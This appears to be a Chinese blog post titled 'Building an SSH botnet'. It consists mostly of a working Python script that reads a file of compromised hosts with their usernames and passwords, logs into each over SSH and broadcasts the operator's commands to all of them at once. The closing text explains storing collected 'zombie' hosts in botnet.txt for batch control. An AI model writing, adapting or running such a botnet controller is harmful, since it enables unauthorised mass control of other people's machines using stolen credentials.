1. 程式人生 > >構建SSH僵屍網路

構建SSH僵屍網路

#!/usr/bin/python  
#coding=utf-8  
import optparse  
from pexpect import pxssh  
import optparse  


#建立一個名為botnet 的全域性陣列,其中記錄了單個client 物件  
botNet=[]  
#定義一個用於存放host的列表以便判斷當前host之前是否已經新增進botNet中了  
hosts = []  


'''
#定義一個客戶端的類Client,生成Client()類物件的程式碼。為了構造client 物件,需要主機名、使用者名稱,以及密碼或金鑰。
同時,這個類還要包含維持與肉機連線所需的方法——connect()、send_command()  
'''
class Client(object):  
    """docstring for Client"""  
    def __init__(self, host, user, password):  
        self.host = host  
        self.user = user  
        self.password = password  
        self.session = self.connect()  
  
    def connect(self):  
        try:  
            s = pxssh.pxssh()  
            s.login(self.host,self.user,self.password)  
            return s  
        except Exception, e:  
            print e  
            print '[-] Error Connecting'  
  
    def send_command(self, cmd):  
        self.session.sendline(cmd)  
        self.session.prompt()  
        return self.session.before  


'''
botnetCommand()函式只要一個引數——要釋出的命令。這個函式遍歷整個陣列,把命令傳送到botnet 陣列中的每個client 上。
'''  
def botnetCommand(cmd, k):  
    for client in botNet:     
        output=client.send_command(cmd)  
        #若k為True即最後一臺主機發起請求後就輸出,否則輸出會和之前的重複  
        if k:  
            print '[*] Output from '+client.host  
            print '[+] '+output+'\n'  
  
'''
addClient()的方法,它的輸入是主機名、使用者和密碼,並以此例項化一個client 物件,並把它新增到botnet 數組裡
'''   
def addClient(host,user,password): 
    if len(hosts) == 0:  
        hosts.append(host)  
        client=Client(host,user,password)  
        botNet.append(client)  
    else:  
        t = True  
        #遍歷檢視host是否存在hosts列表中,若不存在則進行新增操作  
        for h in hosts:  
            if h == host:  
                t = False  
        if t:  
            hosts.append(host)  
            client=Client(host,user,password)  
            botNet.append(client)  
  
def main():  
    parser=optparse.OptionParser('Usage : ./botNet.py -f <botNet file>')  
    parser.add_option('-f',dest='file',type='string',help='specify botNet file')  
    (options,args)=parser.parse_args()  
    file = options.file  
    if file==None:  
        print parser.usage  
        exit(0)  
      
    #計算檔案行數,不能和下面的f用同一個open()否則會出錯  
    count = len(open(file,'r').readlines())  
  
    while True:  
        cmd=raw_input("<SSH> ")  
        k = 0  
        f = open(file,'r')  
        for line in f.readlines():  
            line = line.strip('\n')  
            host = line.split(':')[0]  
            user = line.split(':')[1]  
            password = line.split(':')[2]  
  
            k += 1  
  
            #這裡需要判斷是否到最後一臺主機呼叫函式,因為命令的輸出結果會把前面的所有結果都輸出從而會出現重複輸出的情況  
            if k < count:  
                addClient(host,user,password)  
                #不是最後一臺主機請求,則先不輸出命令結果  
                botnetCommand(cmd,False)  
            else:  
                addClient(host,user,password)  
                #最後一臺主機請求,則可以輸出命令結果  
                botnetCommand(cmd,True)  
      
if __name__ =='__main__':  
    main()  
將殭屍主機的資訊都儲存在一個檔案中、以:號將三類資訊分割開,從而指令碼可以方便地通過讀取檔案中的殭屍主機資訊,同時指令碼也實現了批量命令列互動的形式,和之前修改的ssh命令列互動的形式差不多,只是每次輸入一條命令所有的殭屍主機都會去執行從而返回命令結果:
使用者可以將收集到的ssh殭屍主機都儲存在botnet.txt檔案中,這樣指令碼執行起來執行就會十分地方便、實現批量式的操作。